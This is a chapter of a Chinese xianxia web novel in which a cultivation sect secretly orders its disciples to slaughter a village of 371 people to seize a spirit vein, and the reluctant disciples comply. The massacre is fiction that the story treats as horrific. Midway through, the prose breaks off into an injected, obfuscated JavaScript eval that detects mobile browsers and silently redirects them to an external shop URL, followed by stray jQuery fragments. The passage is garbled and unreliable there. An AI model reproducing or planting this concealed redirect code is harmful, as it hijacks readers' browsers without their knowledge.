默认冷灰
24号文字
方正启体

5. 夜半密令,屠村夺脉

作者:石又川本书字数:K更新时间:
    子夜三刻,陆铮接到密信,营地篝火将熄未熄,夜风里余烬明明灭灭。


    大多数弟子已裹着毯子睡去,火堆旁,值夜的陈风抱着剑盘膝而坐,脑袋一点一点地打盹。


    叶听竹没睡觉,盘膝端坐营地边缘那棵老桦树下,膝上摊着一张未完成的符纸。


    她笔尖蘸着朱砂,迟迟未落下,感知里那股从村心地底涌上来的铁锈味越来越浓了,浓到嗜血。


    脚步声从营地另一侧响起,叶听竹抬眼看去,见陆铮从自己帐篷里走出,手里捏着枚寸许长白玉简,夜色中泛着微弱冷光。


    值夜的陈风惊醒,刚要开口,便被陆铮一个眼神压了回去。


    “所有人。”陆铮声音不大,却惊醒营地每一个角落,“起来。”


    弟子们迷迷糊糊地爬起身,揉着眼睛,茫然地看向他。


    凌炎和凌御风同时掀开帐帘,凌炎的手按着重剑剑柄,凌御风的长剑未出鞘,月白长衫无风自动。


    “陆师兄,何事?”凌炎开口,声音沉静。


    陆铮没回应,他走到篝火旁将那枚白玉简抛向空中,玉简悬停,表面浮现一行行殷红小字,每一个字仿佛用血写就。


    叶听竹站起身走近几步,借着篝火残光,她看清了那些字,只看了一眼,血就凉了。


    凌云宗执法堂密令:【南境黑石村,实为隐灵脉,所聚之地脉节点。村下灵脉纯净,储量丰沛,乃宗门必得之物,此前所谓妖祸,皆为遮掩。】


    现令:【第三队全员于卯时之前,屠尽黑石村凡民三百七十一口,掘地三丈,取灵脉本源,以封灵玉匣封存,速返宗门。若有违令者,或泄露密令者,就地格杀。】


    最后四字,殷红刺目,几乎要滴下血来。


    营地死寂,连风都停了。


    陈风嘴巴大大张着,眼睛瞪得滚圆溜溜,手里的剑“哐当”一声掉向地面。


    其他弟子也都僵立原地,有人脸色煞白,有人嘴唇哆嗦,有人下意识后退半步。


    “陆……陆师兄。”一个女弟子颤声开口:“这……这是不是弄错了?”


    “是啊!?屠村,这……这……这是魔道所为啊!”


    “我们是仙门弟子,怎么能这般妄为!?”


    “闭嘴!”陆铮厉喝一声,蜡黄脸色浮现一层病态白晕,“此乃宗门最高密令!尔等入门时皆立过血誓:宗门利益高于一切!凡有令,必从之!”


    他扫视全场,目光锋利,刮过每个人脸颊,“如今,给你们一刻钟准备,卯时一到,随我入村。”


    “可那些村民!”陈风的声音夹着哭腔:“他们……他们是无辜的啊!”


    “无辜?”陆铮扯了扯嘴角,“隐灵脉所在之地,凡民世代受灵脉滋养,体内早已浸染灵气,这些村民,实则是灵脉容器,亦或称之为守脉人!若不屠尽,灵脉必有损毁之险!”


    他顿了顿,声音压低,愈发瘆人,“更何况,你们以为,宗门为何要派我们这支主力小队来?为何不让外门执事处理?因此事,必须做得干净。我们,就是最锋利的刀。”


    话音落下,营地彻底陷入死寂。


    叶听竹站立原地,指尖冰凉,她想起白日里见过的村民,佝偻的老妪、无神的孩童、枯槁的手、一幕幕疲倦的眼睛。


    他们身上的枯竭感,源自灵脉被长期压制和抽离后反噬,他们非妖祸的受害者,乃仙门算计下的祭品。


    “我……”一个弟子开口,声音嘶哑:“我做不到。”


    众人看去,是队中年纪较长的一位师兄,名叫赵明远,他脸色惨白,站得笔直,“我入仙门,是为求长生大道,斩妖除魔,护佑苍生!不是为屠戮凡民,掠夺地脉!”


    陆铮眯起眼:“赵明远,你想抗命?”


    “我……”


    “你可想清楚了。”陆铮缓缓从怀中掏出一枚黑色令牌,令牌正面刻着一柄剑穿秤杆,“执法堂令牌在此,抗令者,格杀勿论。”


    赵明远喉结滚动了一下,他看着那枚令牌,又看看周围同门,所有人都低着头,没人敢与他对视。


    火光照着他们脸庞,一张张面孔映出恐惧、挣扎、麻木。


    他张了张嘴,肩膀最终垮了下去,“我……我,遵命。”回复声,轻哼是叹息,重音似墓碑。


    陆铮满意地收起令牌,看向凌炎和凌御风,“二位队长,可有异议?”


    凌御风沉默着,他的手一直按向剑柄,指节捏得发白,许久,他垂下眼吐出两个字,“遵令。”


    所有人目光都转向凌炎,这位离峰天才,此次行动队长,从密令出现到此刻,一句话未说。


    他只是站立原地,夜色中,赤红劲装混成一团凝固的血,火光下,背后重剑泛着冰冷的金属光泽。


    陆铮盯着他:“凌师弟?”


    凌炎抬起头看向黑石村方向,夜色浓重,村庄隐没黑暗,形成一道沉默伤口。


    “陆师兄。”他终于开口,声音平静得可怕:“密令中所谓隐灵脉,可是指那些村民体内生机,实则是灵脉外溢的人形容器?屠村取脉,实则炼人为丹?”


    陆铮脸色变了变:“凌师弟知道得不少。”


    “我师尊曾提过。”凌炎收回目光,看向陆铮,“此法有伤天和,易招心魔,且灵脉本源必染血煞,效用大减,宗门为何?”


    “这不是你该问的!”陆铮打断他,声音陡然拔高:“凌炎!你只需回答:遵令,还是抗令?”


    营地再次陷入死寂,所有弟子都屏住呼吸,看着凌炎。


    火光向凌炎脸上跳动,照出他紧抿的唇线,深锁的眉头,还有那双眼眸里翻涌而出,复杂到极点的情绪。


    叶听竹看见凌炎手背青筋暴起,他在挣扎,可她同时也看见,凌御风悄悄朝他摇了摇头。


    终于,凌炎闭上眼:“……遵令。”


    两个字落下,就是最后一块石头,堵死所有人心中那扇还未完全关闭的门。


    陆铮笑了,蜡黄的脸上,笑容扭曲成一团揉皱黄纸,“很好,现在,所有人检查法器、符箓、丹药,卯时一刻,村口集合。”


    他顿了顿,目光扫过叶听竹,“叶师妹,你是符修,屠村之后,需要你布下净煞阵,净化血煞之气,免得灵脉染污,明白吗?”


    叶听竹抬起头迎上他目光,她眸子平静,静得盛满深潭,映不出半点火光,“明白。”


    陆铮满意地点点头,转身回了帐篷,他一走,营地里的压抑瞬间溃散,更深的绝望隐现众人心间。


    弟子们三三两两聚集,低声交谈,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347775|199558||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声音发抖。


    “怎么办,我……我们真的要做吗?”


    “不做就是死啊!”


    “可那是三百多条人命啊!”


    “仙门怎么会下这种令?”


    叶听竹未参与议论,她走回老桦树下,重新盘坐,膝上未完成的符纸摊在那里,朱砂笔尖一滴浓稠红墨将滴未滴。


    她提起笔向符纸上落下,第一笔静音符,第二笔障目符,第三笔匿息符。


    一张又一张,全是辅助的、隐匿的、干扰类的,没有一张能杀人,也没有一张能救人,只是,拖延时间。


    “叶师妹。”她身后,凌炎的声音响起。


    叶听竹未回头,笔尖依旧平稳,“凌师兄有事?”


    凌炎走到她身旁蹲下,看着那些符篆,火光从侧面照来,向他脸上投下半明半暗的阴影,他问:“你在画什么?”


    “陆师兄要的净煞阵,需要先布辅助符。”叶听竹声音平淡:“这些是前置。”


    凌炎沉默片刻:“你信吗?”


    “信什么?”


    “信那些村民,真的是人形容器?信屠村取脉,真的是为了宗门大业?”


    叶听竹终于停笔抬起头看向他,四目相对,她看见凌炎眼中的血丝,他眼底深处携卷一簇几乎熄灭的火光,也看见他紧握的拳,指甲陷进肉里渗出血丝。


    “凌师兄信吗?”她反问。


    凌炎没回答,他站起身望向东方天际,那里夜色开始褪去,露出一线鱼肚白,卯时快到了。


    “叶听竹。”他背对着她,声音低得快听不见,“如果我告诉你,我早就知道这次任务的真相,你会怎么看我?”


    叶听竹的手不可揆度地微微颤动,符纸上,笔尖朱砂晕开一小团红。


    “师尊临行前,给了我两个选择。”凌炎继续说,声音仿佛从很远的地方飘来,“接下这次任务,成为宗门的刀,日后必得重用;要么拒绝,从此道途断绝,甚至可能意外身死。”


    他转过身看向叶听竹,嘴角扯出苦涩弧度,“我选了第一个。”


    风从黑石村方向吹来,裹挟着那股铁锈味,越来越浓。


    叶听竹垂下眼,看着符纸上那团晕开的朱砂,红得嗜血。


    “凌师兄。”她轻声问:“你此刻后悔了吗?”


    凌炎未回答,他一点点凝固,站在晨光与夜色交界边缘,于此,站成一尊雕像。


    远处帐篷掀开,陆铮走出来,手里提着一柄细长黑剑,晨光里剑身泛着哑光,还未开刃,但让人看一眼就脊背发凉。


    “时辰到了。”他说,声音冷冰冰的,“列队,入村。”


    弟子们沉默地集结,排成三列,每个人脸上没有表情,都戴上了一张僵硬面具。


    叶听竹收起符纸,站起身跟在队伍末尾。


    晨光渐亮,黎明前的微光中,黑石村轮廓逐渐清晰起来,村口那棵枯槐化作一具伸向天空的骸骨。


    三百七十一口,三百七十一条命。


    叶听竹摸了摸怀中那叠符箓,有攻击的、有防御的、有隐匿的、有净化的……她指尖触到了腰间竹节玉佩。


    晨风吹过,队伍踏上通往村口的小路,他们身后天快亮了,背后尤然摊开一张无形巨手,推着所有人往前。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)